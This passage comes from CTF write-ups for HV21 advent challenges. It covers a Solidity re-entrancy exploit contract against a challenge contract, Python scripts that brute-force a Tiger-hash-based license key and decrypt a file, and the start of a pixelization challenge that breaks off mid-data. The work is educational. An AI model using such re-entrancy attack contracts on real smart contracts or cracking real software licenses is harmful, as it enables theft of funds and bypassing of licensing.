    mapping(address => uint256) nextGoodDeedAfter;

    function start() public {
        naughtyList[tx.origin] = 12;
        nextGoodDeedAfter[tx.origin] = 0;
    }

    function goodDeed() public {
        require(
            nextGoodDeedAfter[tx.origin] < block.number,
            "You have already done your good deed this month"
        );
        if (naughtyList[tx.origin] > 0) {
            naughtyList[tx.origin] = naughtyList[tx.origin] - 1;
            (bool success, ) = msg.sender.call("");
            require(success, "Call failed");
            nextGoodDeedAfter[tx.origin] = block.number + 172800;
        }
    }

    function goodDeedsLeft(address _address) public view returns (uint256) {
        return naughtyList[_address];
    }

    function isNice(address _address) public view returns (bool) {
        if(nextGoodDeedAfter[_address] > 0 && naughtyList[_address] == 0) {
            return true;
        } else {
            return false;
        }
    }
}

The goal of the challenge is to get on to the Nice-List. But we can only report 1 good deed per month. According to the challenge description it is very clear that it has something to do with the DAO hack.

Indeed, if we look closer at the source code of the smart contract we can see that there is a Re-Entrancy vulnerability in the goodDeed() function.

function goodDeed() public {
        require(
            nextGoodDeedAfter[tx.origin] < block.number,
            "You have already done your good deed this month"
        );
        if (naughtyList[tx.origin] > 0) {
            naughtyList[tx.origin] = naughtyList[tx.origin] - 1;
            (bool success, ) = msg.sender.call("");
            require(success, "Call failed");
            nextGoodDeedAfter[tx.origin] = block.number + 172800;
        }
    }

Before “nextGoodDeedAfter” is set to block.number + 172800 we have the call to the sender, meaning us/attacker, of the contract: (bool success, ) = msg.sender.call(“”).

Thus, we can create a smart contract on our own. We implement the receive() and fallback() functions which will run when the contract is called and no function is selected. Exactly what happens with “msg.sender.call(”)”. In these functions we recursively call the goodDeed() function of the challenge contract. Now we have a recursive loop, the challenge contract will always call our own contract which will call the challenge contract before this can set the limitation. Here is the my smart contract to solve this challenge:

/**
 * 
 * DAO Hack - Re-Entrancy vulnerability, more details here: 
 * - https://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/
 * - https://medium.com/coinmonks/ethernaut-lvl-10-re-entrancy-walkthrough-how-to-abuse-execution-ordering-and-reproduce-the-dao-7ec88b912c14
 * - https://consensys.github.io/smart-contract-best-practices/known_attacks/
 *
 * Executed and deployed with remix:
 * - https://remix.ethereum.org/
 *
 */
pragma solidity ^0.8.10;


/**
 * Interface to Santa Contract:
 * - https://rinkeby.etherscan.io/address/0x82Ff67Ed282eFdeBcE2BA1176d65f39762Ce1cc5#code
 */ 
interface SantasList{
    function start() external;
    function goodDeed() external;
    function goodDeedsLeft(address _address) external view returns (uint256);
    function isNice(address _address) external view returns (bool);
}


contract AttackHV21 {
    address constant santa = 0x82Ff67Ed282eFdeBcE2BA1176d65f39762Ce1cc5;
    SantasList sl;

    constructor() {
        sl = SantasList(santa);
    }

    function start() public {
        sl.start();
    }

    function attack() public {
        sl.goodDeed();        
    }

    function checkNice() public view returns (bool) {
        return sl.isNice(msg.sender);
    }

    function checkDeeds() public view returns (uint256) {
        return sl.goodDeedsLeft(msg.sender);
    }

    function getAddress() public view returns(address){
        return msg.sender;
    }

    /**
     * These functions execute the attack - not sure which one is called though
     * 
     * The vulnerable contract calls msg.sender.call("") before the time limit for the next good deed is set.
     * We can use this vulnerability and recursively call goodDeed, when the contract calls us.
     * Until we are on the nice list
     */
    receive() external payable{
        uint count = 0;

        if (count <= 12) {
            sl.goodDeed();
            count++;
        }
    }

    fallback() external payable{
        uint count = 0;

        if (count <= 12) {
            sl.goodDeed();
            count++;
        }
    }
}

Flag

HV{wEb3_4oR_Th3_Win}


[HV21.22] Santa’s Gift Encryptor

Thanks!

This challenge is brought to you by darkice. Keeping gifts safe!

Introduction

Santa takes security very seriously and encrypts all his gifts. However, his elves were very busy this year and could not finish the work on the new encryption tool, and therefore it is not possible to decrypt the gifts now. As Christmas is coming closer and closer, we urgently need someone who can finish their work so that the children won’t be left without presents. And if that wasn’t already bad enough, Santa has also lost his license key, but that’s probably the least of our problems.

Goal

Find the key for Santa and decrypt your own gift!

Solution

Typically, I am no fan of reverse engineering challenges, but I liked this one very much! With the challenge comes an ELF binary “sge” and a file “gift.enc” which contains the encrypted message/flag. I used Ghidra to analyze the binary file.

The main function calls three functions if the binary file is opened correctly.

The first function (FUN_00100e2a) is for checking the license string:

The license check does mainly 4 things to evaluate if the license is correct:

  1. Line 15-17: the license needs to be 29 characters long
  2. Line 18-23: Every 6th character needs to be a dash “-“
  3. Line 24-27: Defines the character set for the characters between the “-“: 0-9; A-Z; a-z
  4. Line 30-37: Sends groups of five characters, between the “-“, to FUN_00102716 and checks the first 3 of 5 (!) if they match with the corresponding characters of the string “S4nT4s3NcrYpt0r”. 1st -> “S4n”, 2nd -> “T4s”, 3rd -> “3Nc”, 4th -> “rYp”, 5th -> “t0r”

The function FUN_00102716 must be some hashing algorithm. Let us examine this function next. One of the functions called by FUN_00102716 is this one:

We google for the constant “0xa5a5a5…” end eventually find a presentation about hash functions and there we find one function called “Tiger hash” which exactly matches our description.

We have everything to bruteforce the license-key. But first we want to understand the whole application. Let’s go back to the main function:

The main function checks the license, then calls the tiger_hash function once again with the license key (!) and sends the computed hash to the function FUN_00100b14. The next step is to look at this last unknown function, which must be the encryption function.

I highlighted the important parts of the disassembled encryption function.

  1. Line 65: Call to a sub-function. Where we find the actual encryption algorithm. In this function we find the constant 0x9e3779b9 which I googled for. Eventually, I found this implementation of the Serpent encryption algorithm which looked exactly like our program.
  2. Line 74: The tiger_hash function is called once again, with the hashed license key we called this function with. See lines 37, 69, 72 to see how the argument for the tiger_hash function is constructed.
  3. Line 101: The result of the tiger_hash function (hashed hash of the license key) is written to a file.
  4. Line 93: The filename ends with “.enc”.
  5. Line 106: The encrypted message is appended to the same file.

We now have figured out everything we need to solve the challenge. This program was used to encrypt a message and store it in the gift.enc file. The first bytes of the gift.enc file contain the hash of the hash of the license! The target hash:

"6385EF2616C572906C5363A990D41AA9D36AFAA02E1485A7" 

I used Python and this tiger-hash library. Unfortunately, this library has a memory leak and I had to save intermediate results and resume the program after my computer killed the program because of Out of Memory errors.

In this first Python script I collect all possible groups of 5 for our license key. As for every group the hash is calculated and the first 3 characters are compared with the corresponding part in the string “S4nT4s3NcrYpt0r”.

import hashlib
from tiger import tiger
from itertools import chain, product, islice
from binascii import hexlify
import string

t = [b"S",b"4",b"n",b"T",b"4",b"s",b"3",b"N",b"c",b"r",b"Y",b"p",b"t",b"0",b"r"]
charset = string.ascii_letters + string.digits
START_VALUE = [4, 764688524]

o = 0
parts = []
while (o < 0x1d):
	i = 0
	st = b""
	while(i < 3):
		x = int(i + (o / 6) * 3)
		st += t[x]
		i += 1
	parts.append(st)
	o += 6
print(parts)

def convertTuple(tup):
    str = ''
    for item in tup:
        str = str + item
    return str

solutions = []
parts = islice(parts, START_VALUE[0], None)
for c, part in enumerate(parts, start=START_VALUE[0]):
	print(part)
	ref = hexlify(part).lower()

	all_combos = product(charset, repeat=5)
	combos = islice(all_combos, START_VALUE[1], None)
	sol = []
	for i,current in enumerate(combos, start=START_VALUE[1]):
		tmp = convertTuple(''.join(current)).encode("utf8")
		h = tiger(tmp).hexdigest()[:6]

		if (h == ref):
			sol.append(tmp)
			START_VALUE[1] = i
			print("Found!")
			print("Test: " + str(tmp))
			print("Hash: " + str(h))
			print("ToBeFound: " + ref)
			print("Solution: " + str(sol))
			print("All possibilities: " + str(solutions))
			print(START_VALUE)
			print("---")
	solutions.append(sol)
	START_VALUE = [c+1, 0]
	

In the second script I calculate the correct license out of all possible groups which I generated before. This way we get back the license which was used to write the gift.enc file.

import hashlib
import tiger
from itertools import chain, product, islice
from binascii import hexlify
import string

target_hash = "6385EF2616C572906C5363A990D41AA9D36AFAA02E1485A7"
START_VALUE = 25

group1 = ['adlsB', 'coFWX', 'dAVjd', 'eqvsO', 'gyfiM', 'gDaZS', 'gIT3S', 'hsotk', 'itmd8', 'juIhA', 'kVDgs', 'ot5ke', 'o3rKT', 'o4YUM', 
				            'tYHqG', 'uPfTb', 'uUxaL', 'uVJTg', 'vohtO', 'vYE7S', 'x8U0P', 'yUokP', 'zdvgw', 'BXb55', 'Fumzi', 'Gi2vt', 
				            'Gr16b', 'G007k', 'JxrBh', 'MDgmm', 'MKHsL', 'NtkxJ', 'P3J7T', 'SNmHu', 'TuA2q', 'T7yjy', 'UlwxL', 'UreDP', 
				            'U0rOF', 'VbVZM', 'V3obI', 'WFego', 'ZSWc9', '2gLoy', '2Aqll', '3AQfq', '7Fy7d', '8pasV']

group2 = ['bnXWw', 'cfr8M', 'ctl8u', 'ddmFi', 'eAA82', 'eUeDp', 'eXn2h', 'fgaRU', 'fO9Rt', 'iXpFk', 'kECUl', 'lVkn8', 'l5Bve', 'ma5a6', 
						    'mjhEz', 'm2iX2', 'nbMi8', 'oqOJe', 'rx6C3', 'tt4w2', 'tSSW5', 't9ilq', 'uRZXH', 'u51ZZ', 'vL7It', 'xMtqG',
						    'ytB9l', 'yJsK2', 'APM7L', 'A3PM0', 'A4ifz', 'A7368', 'CIost', 'DvIZk', 'D8yjm', 'EbkvT', 'EwNHN', 'FMwBO', 
						    'IGm3M', 'JGk2f', 'J9eRW', 'OUSxb', 'QFhcz', 'Riazr', 'RAGLI', 'Sd5gV', 'SulIF', 'TwEDx', 'TI3CF', 'TP5Zo', 
						    'UKiVs', 'VwoN6', 'VR4Hu', 'XhF9Y', '1RKc2', '2c2Kt', '2kwdU', '2wA68', '2x11q', '4uHIW', '42a9V', '6rLr9', 
						    '6stx2', '63zRg', '8jIpC']

group3 = ['azD5T', 'a0Pc4', 'csWhR', 'fiixd', 'fp79w', 'fOKC5', 'gdrFr', 'ieUt4', 'iOAMl', 'kfOy5', 'n9yiN', 'qDVZ5', 'qKB1V', 'r5xAG', 
						    'sivTf', 'tLFTx', 'uDM8s', 'vOIzV', 'xmpWp', 'zIx0G', 'BAYEj', 'DtC4I', 'DvE2a', 'DVk9a', 'ElnXm', 'FTpcE', 
						    'GKhdq', 'GVanO', 'G0p1a', 'HQboL', 'Nvv07', 'NGdwR', 'Otk5A', 'OAM1e', 'PeN1g', 'P66qO', 'QmupY', 'QN4lW', 
						    'SjqYr', 'Skiv5', 'TYDLC', 'UE7A2', 'WssIl', 'WK8eQ', 'XwgNE', 'XDh6A', 'ZdOP9', 'ZfSdH', 'ZhScA', 'ZE1gc', 
						    '13XB7', '3cOM8', '31SHQ', '41Itd', '5tnCy', '5RXrU', '8BBSg', '9nzmk', '9CIrU']

group4 = ['bPDoZ', 'fthoz', 'jqEML', 'nlUcI', 'pT3NQ', 'pZFRf', 'quvHH', 's0B4F', 'tIxoq', 'uRWYx', 'vRnkK', 'ySLHn', 'CXcQj', 'DhdFn', 
							'D0t0J', 'Fts7Y', 'GbzeZ', 'KMG5Y', 'Mm6xs', 'MzKLg', 'OCD3u', 'PkwYk', 'PXF7S', 'Q5Ozd', 'Xkl6J', 'XUnff',
							'Y6KPZ', 'Zrlrl', '2fwBV', '2sMn6', '34PVW', '4lZzZ', '4nhP3', '6jraV', '82qlS']

group5 = ['af79P', 'ayyIr', 'boeRp', 'bUNP2', 'd6yQz', 'elYSP', 'gKshj', 'gU7R8', 'idzju', 'iVa5n', 'jtuG0', 'jMUal', 'nHq5j', 'oQfpM',
							'oVLfh', 'o0Q24', 'puNbJ', 'u59v1', 'wtSLl', 'xoZ7j', 'xLgEy', 'yk4fu', 'yFSk6', 'yKMxT', 'yXUyL', 'zJbW3', 
							'zMFUD', 'BM2Xl', 'BWAhp', 'CtBSX', 'CwyDD', 'DYDeW', 'EQrOx', 'HhyG6', 'KkarB', 'KIRjh', 'LEizD', 'MwTiP',
							'O17sm', 'PyYyE', 'QpxUh', 'TLtVK', 'UXhjd', 'VVEMT', 'VWjdf', 'Xob7u', 'ZUIz2', '2FM38', '23WOp', '3jLb2', 
							'3r8UN', '5KM4W', '51y3N', '74CDh', '8LWcr', '9uBTE', '9Hb8Z']


def bruteforce():
	grpslice = islice(group1, START_VALUE, None)
	for x, a in enumerate(grpslice, start=START_VALUE):
		print("[+] Iteration number: " + str(x))
		for b in group2: 
			for c in group3: 
				for d in group4:
					for e in group5:
						license = a + "-" + b + "-" + c + "-" + d + "-" + e
						## double hash
						h = tiger.tiger(license.encode("utf8")).digest()
						## - make sure to hash the bytes and not the hexstring!
						h = tiger.tiger((h)).hexdigest().upper()

						if h == target_hash:
							print("[!! Target Hash Found - exit !!]")
							print("[> License Hash: " + h)
							print("[> Target Hash : " + target_hash)
							print("[>> Correct License is: " + license)
							
							return

bruteforce()

The license key which was used is: TuA2q-kECUl-n9yiN-82qlS-af79P. This license key hashed with tiger is our key to decrypt the gift.enc file.

We need to remove the target hash from the file:

Next is to calculate the tiger-hash of the license key, which results in:

3147c884a90f10cea8664a5133cc5ae313b04d8271a534ad

And finally I used this online-tool to decrypt the file.

Flag

HV21{all_children_thank_you_for_saving_their_gifts}


[HV21.23] Pixel Perfect

Thanks!

This challenge is brought to you by Dr Nick. Quite post-modern, isn’t it?

Introduction

Finally, Santa has decided to reply to the Easter Bunny. He created a message scrolling across the screen and asked one of the elves to send it, but it seems they’ve sent it via a very low resolution channel.

Please connect to the following pixelization service

Goal

Because it’s almost Christmas, neither Santa nor the elves have time now, so… Would you mind restoring the message and forwarding to the Easter Bunny? I mean, if that’s even possible!

Solution

This challenge was hard, mostly because it was very “guessy”… Consequently, I didn’t like this challenge at all. The source code of the JavaScript part within the website looks like this:

var canvas = document.getElementById("canvasPixelization");
    var context = canvas.getContext("2d");
    let digits = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,4,4,4,4,0,0,0,0,4,4,4,4,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,12,12,12,12,12,12,12,4,0,0,4,12,12,12,12,12,12,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,20,24,28,32,36,40,44,36,32,32,36,44,40,36,32,28,24,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,28,36,44,52,60,68,76,68,64,64,68,76,68,60,52,44,36,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,60,72,84,96,108,100,96,96,100,108,96,84,72,60,48,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,104,116,104,100,100,104,116,104,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,108,120,108,104,104,108,120,108,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,112,124,112,108,108,112,124,112,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,116,128,116,112,112,116,128,116,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,120,132,120,116,116,116,128,116,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,120,132,120,116,116,116,128,116,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,120,132,120,116,116,116,128,116,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,120,132,120,116,116,116,128,116,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,116,128,116,112,112,112,124,112,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,56,68,80,92,116,128,112,108,108,108,120,108,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,52,64,76,88,100,120,132,112,104,104,104,116,104,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,56,72,84,96,108,124,136,116,104,100,100,108,96,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,56,76,92,108,120,132,144,124,112,104,100,100,88,76,64,52,40,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,56,76,92,108,120,132,140,116,100,88,80,76,64,52,44,36,28,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,52,68,84,100,112,124,132,108,92,80,68,60,48,36,28,20,16,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,48,60,72,84,96,108,116,92,80,72,60,52,40,28,20,12,8,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,56,68,80,92,104,116,100,92,88,80,72,60,48,36,24,16,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,40,52,64,76,88,100,112,100,96,96,92,88,76,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,44,56,68,80,92,108,104,108,112,108,104,92,80,64,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,28,36,48,64,80,96,116,116,124,132,128,120,104,88,68,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,28,36,48,64,84,104,124,124,132,140,136,128,108,88,68,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,28,36,48,60,76,92,112,112,120,128,124,120,104,88,68,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,40,48,56,68,80,96,92,96,104,104,104,92,80,64,48,32,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,40,48,56,64,72,84,76,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,40,52,60,68,76,84,72,68,68,60,60,52,44,36,28,20,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,64,72,80,88,96,84,72,64,52,52,44,36,28,20,16,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,56,72,80,88,96,100,80,60,52,44,48,40,32,28,24,24,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,60,76,80,84,88,88,64,44,40,36,48,44,40,40,40,36,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,56,68,68,68,68,68,48,32,32,36,56,56,56,56,52,44,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,52,60,60,60,60,64,48,32,36,48,72,72,72,68,60,52,44,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,56,68,72,76,80,88,72,56,56,68,92,88,84,76,68,60,52,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,48,60,76,84,92,100,108,96,76,72,84,108,100,92,84,76,68,60,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,48,64,80,92,100,108,116,104,84,76,92,112,104,96,88,80,72,64,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,56,68,80,88,96,104,92,76,72,88,104,96,88,80,72,64,56,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,48,60,72,80,88,96,88,76,68,80,92,84,76,68,60,52,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,72,80,88,84,72,60,68,76,68,60,52,44,40,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,36,48,60,68,76,84,80,64,52,56,64,56,48,40,36,36,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,20,32,44,56,64,72,76,72,56,44,44,52,44,36,32,32,32,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,20,32,44,56,64,72,76,76,64,56,56,64,56,48,44,40,36,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,36,48,60,68,76,84,84,76,72,72,80,72,64,56,48,40,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,80,72,64,56,48,40,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,28,36,44,52,60,68,68,64,64,68,80,72,64,56,48,40,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,24,32,40,48,56,64,64,64,64,68,76,68,60,52,44,36,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,20,24,28,32,32,32,32,36,44,40,36,32,28,24,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,8,12,20,20,20,16,12,12,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,16,20,28,36,36,32,32,36,40,40,32,24,20,20,16,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,28,36,40,48,56,60,60,56,56,56,60,60,56,48,40,36,28,20,12,4,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,32,44,56,64,72,76,76,76,72,72,72,76,76,76,72,64,56,44,32,20,12,4,0,0,0,0,0,0,0,0,0,0,0,8,16,24,36,48,60,68,76,76,76,76,72,72,72,76,76,76,76,68,60,48,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,24,36,48,60,68,76,76,76,76,72,72,72,76,76,76,76,68,60,48,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,20,28,40,52,64,72,80,80,76,76,72,72,76,80,80,80,80,72,64,52,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,24,32,44,56,68,76,84,84,76,76,72,72,80,84,84,84,84,76,68,56,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,28,40,56,72,88,100,112,112,100,100,96,96,104,104,100,100,100,88,76,60,36,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,32,44,60,76,92,108,120,120,104,104,104,104,112,104,96,96,96,84,68,52,28,20,16,8,0,0,0,0,0,0,0,0,0,0,0,8,32,44,60,76,92,108,120,124,112,112,112,112,120,108,96,88,84,72,56,40,16,12,12,8,0,0,0,0,0,0,0,0,0,0,0,4,28,40,52,64,76,88,104,112,100,100,100,100,112,100,84,72,64,52,40,28,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,28,40,52,64,76,88,108,120,104,104,104,104,120,108,88,76,64,52,40,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,48,60,72,84,100,124,136,116,112,112,112,128,112,88,76,64,52,40,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,52,68,84,100,120,148,160,140,132,128,124,132,112,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,56,76,96,116,140,172,184,164,152,144,136,136,112,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,52,72,92,112,136,164,172,152,136,124,112,108,84,56,48,40,32,24,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,60,76,92,112,136,140,120,104,92,80,76,56,32,28,24,20,16,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,60,72,88,108,108,88,72,60,48,44,28,8,8,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,44,56,68,84,100,100,84,68,56,44,36,20,4,4,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,32,44,56,68,84,96,96,84,64,52,40,32,16,4,4,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,32,48,64,80,96,108,112,104,88,76,64,56,40,28,24,20,16,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,32,48,64,80,96,108,116,112,100,92,84,80,64,52,44,36,28,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,32,48,64,80,96,108,120,120,112,108,104,104,88,76,64,52,40,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,76,88,100,100,96,96,96,104,92,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,76,88,100,100,96,96,96,104,92,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,76,88,100,100,96,96,96,104,92,80,68,56,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,68,80,92,104,104,100,100,100,108,96,84,72,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,36,48,68,84,96,108,108,108,108,112,116,100,88,76,64,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,24,32,52,68,80,88,88,88,92,100,104,88,76,68,60,52,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,36,52,64,72,72,76,84,92,96,80,68,60,56,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,56,60,68,76,84,84,68,56,48,44,36,28,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,52,64,72,84,92,100,96,80,64,52,44,32,24,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,64,80,92,108,120,132,128,108,88,72,60,44,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,52,76,92,104,124,140,156,152,128,104,88,76,56,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,56,80,96,108,128,148,168,164,136,112,96,84,64,44,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,52,76,92,104,124,144,164,160,136,112,96,84,64,44,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,64,80,92,112,128,144,144,124,104,88,76,56,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,56,72,88,108,124,140,140,124,104,88,72,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,52,68,84,104,124,144,148,132,112,96,80,60,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,56,72,84,100,124,148,152,132,116,100,88,72,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,64,72,84,104,128,132,116,104,88,80,68,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,44,64,72,80,96,120,124,108,100,80,72,64,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,72,80,88,100,124,128,112,100,76,68,60,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,56,84,92,100,116,140,140,120,104,76,68,60,44,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,64,96,104,116,136,160,156,132,112,80,72,60,40,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,60,88,92,100,116,140,136,112,96,68,64,56,40,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,24,44,56,80,76,80,92,112,112,92,80,56,56,52,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,16,20,24,44,64,80,100,96,100,108,124,124,104,88,64,60,52,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,28,36,44,64,88,108,124,120,124,132,144,144,120,100,76,68,56,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,84,108,132,144,140,144,152,160,160,136,112,88,76,60,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,80,100,120,128,124,128,136,140,144,124,104,84,72,56,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,76,92,108,112,108,112,116,116,128,112,96,80,68,52,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,52,64,8